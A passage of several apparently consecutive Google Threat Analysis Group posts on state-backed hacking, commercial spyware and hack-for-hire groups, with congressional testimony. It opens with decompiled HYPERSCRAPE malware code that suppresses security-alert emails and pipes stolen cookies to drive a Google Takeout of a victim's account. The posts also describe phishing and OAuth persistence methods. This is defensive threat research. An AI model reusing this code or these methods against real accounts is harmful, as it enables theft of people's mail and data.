StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.
Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee:
Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.
We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.
Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.
We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.
Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.
TAG actively monitors threat actors and the evolution of their tactics and techniques.
For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.
We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.
We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.
TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.
And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.
We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.
Google has a long track record combating commercial surveillance tools targeting our users.
In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.
At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.
We observed fewer than three dozen installs of this spyware.
We remediated the compromises for these users and implemented controls to protect all Android users.
NSO Group continues to pose risks across the Internet ecosystem.
In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.
Google was able to identify the vulnerability in use and fix the exploit quickly.
In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.
iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.
Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.
Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.
Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.
For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.
We assessed that a surveillance vendor packaged and sold these technologies.
Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.
Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.
Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.
We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.
Among other targets, this spyware was used to compromise journalists and opposition politicians.
Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.
TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.
The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.
Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.
These vendors operate with deep technical expertise to develop and operationalize exploits.
We believe its use is growing, fueled by demand from governments.
Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.
This industry appears to be thriving.
In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.
This trend should be concerning to the United States and all citizens.
These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.
We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.
Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.
In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.
On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.
Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.
Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.
On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.
Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.
We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.
And we offer other advanced phishing and malware protection to administrators to better protect their users.
By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.
However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.
For Android, through its entire development lifecycle, we subject the products to a rigorous security program.
The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.
We ensure appropriate controls are built into the architecture of the system.
During the development stage, Android-created and open source components are subject to vigorous security reviews For users, Android provides safety and control over how apps and third parties can access the data from their devices.
For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.
We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.
For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.
Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.
Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.
We also provide research grants to security researchers to help fund and support the research community.
This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.
Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.
Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.
Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.
We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.
To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.
APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.
We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.
The first step is to understand the scope of the problem.
We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.
The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.
The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.
We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.
Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.
The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.
Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.
Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.
Google is investing heavily as a company and as an industry to counter serious threats to our users.
In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.
While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.
Google is committed to leading the industry in detecting and disrupting these threats.
I thank the Committee for this attention on this critical issue.
Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.
Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.
TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.
Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.
Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.
Here is a deeper look at some campaign activity TAG has observed since our last update:
Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.
This is the first known instance of Turla distributing Android-related malware.
The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.
We believe there was no major impact on Android users and that the number of installs was miniscule.
The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.
However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.
The list of target websites for the app can be seen in the CyberChef recipe here.
During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.
In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.
This app is quite different from the Turla apps described above and written by a different developer.
It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.
Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.
Indicators:
The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.
Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).
Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.
The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.
TAG has also observed an increasing number of financially motivated actors targeting Ukraine.
One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.
We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.
Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.
They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.
An example of this technique, used to target Facebook users, can be seen in the screenshot below.
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.
In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.
In at least one case, unrelated to Ukraine, they have leaked information from a compromised account.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER indicators:
In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.
In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.
Email contents vary from COVID-19 vaccine policy to the humanitarian crisis in Ukraine.
As part of TAG's mission to counter serious threats to Google and our users, we've published analysis on a range of persistent threats including government-backed attackers, commercial surveillance vendors, and serious criminal operators.
Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.
In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.
They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.
Both, however, enable attacks by those who would otherwise lack the capabilities to do so.
We have seen hack-for-hire groups target human rights and political activists, journalists, and other high-risk users around the world, putting their privacy, safety and security at risk.
They also conduct corporate espionage, handily obscuring their clients’ role.
To help users and defenders, we will provide examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates and context around their capabilities and persistence mechanisms.
The hack-for-hire landscape is fluid, both in how the attackers organize themselves and in the wide range of targets they pursue in a single campaign at the behest of disparate clients.
Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.
For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.
This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.
We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.
The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.
A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.
India
Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.
One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.
These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.
TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.
Russia
While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.
But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.
This hack-for-hire actor has been publicly referred to as 'Void Balaur'.
These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.
The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.
After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.
Both OAuth tokens and App Passwords are revoked when a user changes their password.
During our early investigation, TAG discovered the attacker’s public website (no longer available) advertising account hacking capabilities for email and social media services.
The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.
Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo!
and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.
United Arab Emirates
TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.
They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.
Amnesty International has also reported on their campaigns.
The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.
Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'
Previously described by Amnesty, this phishing kit has remained under active development over the past five years.
After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.
The attacker would then use a custom tool to download the mailbox contents via IMAP.
This group also has links to the original developers of H-Worm, also known as njRAT.
In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.
Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.
As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further harm.
We encourage any high risk user to enable Advanced Protection and Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.
TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.
We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.
With contributions from Winnona DeSombre
UAE hack-for-hire Group Domains:
Indian hack-for-hire Group Domains:
Russian hack-for-hire Group Domains:
To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.
This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities:
We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.
Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.
The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.
Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.
Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.
The campaigns were limited — in each case, we assess the number of targets was in the tens of users.
Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.
If the link was not active, the user was redirected directly to a legitimate website.
We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.
We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.
ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.
These commands include recording audio, adding CA certificates, and hiding apps.
The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.
This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.
We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.
We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.
More technical details about this vulnerability are available in this RCA by Maddie Stone.
Related IOCs
In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.
We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.
The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.
This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.
Analysis of the exploit identified two different vulnerabilities in Chrome:
After escaping the sandbox, the exploit downloaded another exploit in /data/data/com.android.chrome/p.so to elevate privileges and install the implant.
We haven’t retrieved a copy of the exploit.
Related IOCs
In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.
The chain included two 0-day exploits:
Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.
The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.
At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.
Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.
In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.
Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.
Related IOCs
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.
We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.
TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.
We remain committed to updating the community as we uncover these campaigns.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
NOTE: On May 20th, we updated our attribution to more precisely describe our findings.
Google’s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Similar to other reports, we have also observed threat actors increasingly target critical infrastructure entities including oil and gas, telecommunications and manufacturing.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks:
APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.
The malware, distributed via email attachments inside of password protected zip files (ua_report.zip), is a .Net executable that when executed steals cookies and saved passwords from Chrome, Edge and Firefox browsers.
The data is then exfiltrated via email to a compromised email account.
Malware samples:
TAG would like to thank the Yahoo!
Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.
Turla, a group TAG attributes to Russia FSB, continues to run campaigns against the Baltics, targeting defense and cybersecurity organizations in the region.
Similar to recently observed activity, these campaigns were sent via email and contained a unique link per target that led to a DOCX file hosted on attacker controlled infrastructure.
When opened, the DOCX file would attempt to download a unique PNG file from the same attacker controlled domain.
Recently observed Turla domains:
COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.
The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.
The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.
Within these files is a link to an attacker controlled phishing domain.
These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.
This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.
If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.
There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.
Both pages from this campaign are shown below.
In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.
The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.
Recently observed Ghostwriter credential phishing domains and emails:
Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.
In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.
Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.
Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.
We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.
We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.
While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.
In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.
Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.
Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.
Financially motivated and criminal actors are also using current events as a means for targeting users.
For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.
TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.
As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.
We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.
Here is a deeper look at the campaign activity TAG has observed over the past two weeks:
Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.
While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.
Recently observed IPs used in Curious Gorge campaigns:
COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.
However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.
These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.
We have not observed any Gmail accounts successfully compromised during these campaigns.
Recently observed COLDRIVER credential phishing domains:
Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.
In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.
While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.
Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.
The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.
Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.
Recently observed Ghostwriter credential phishing domains:
The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.
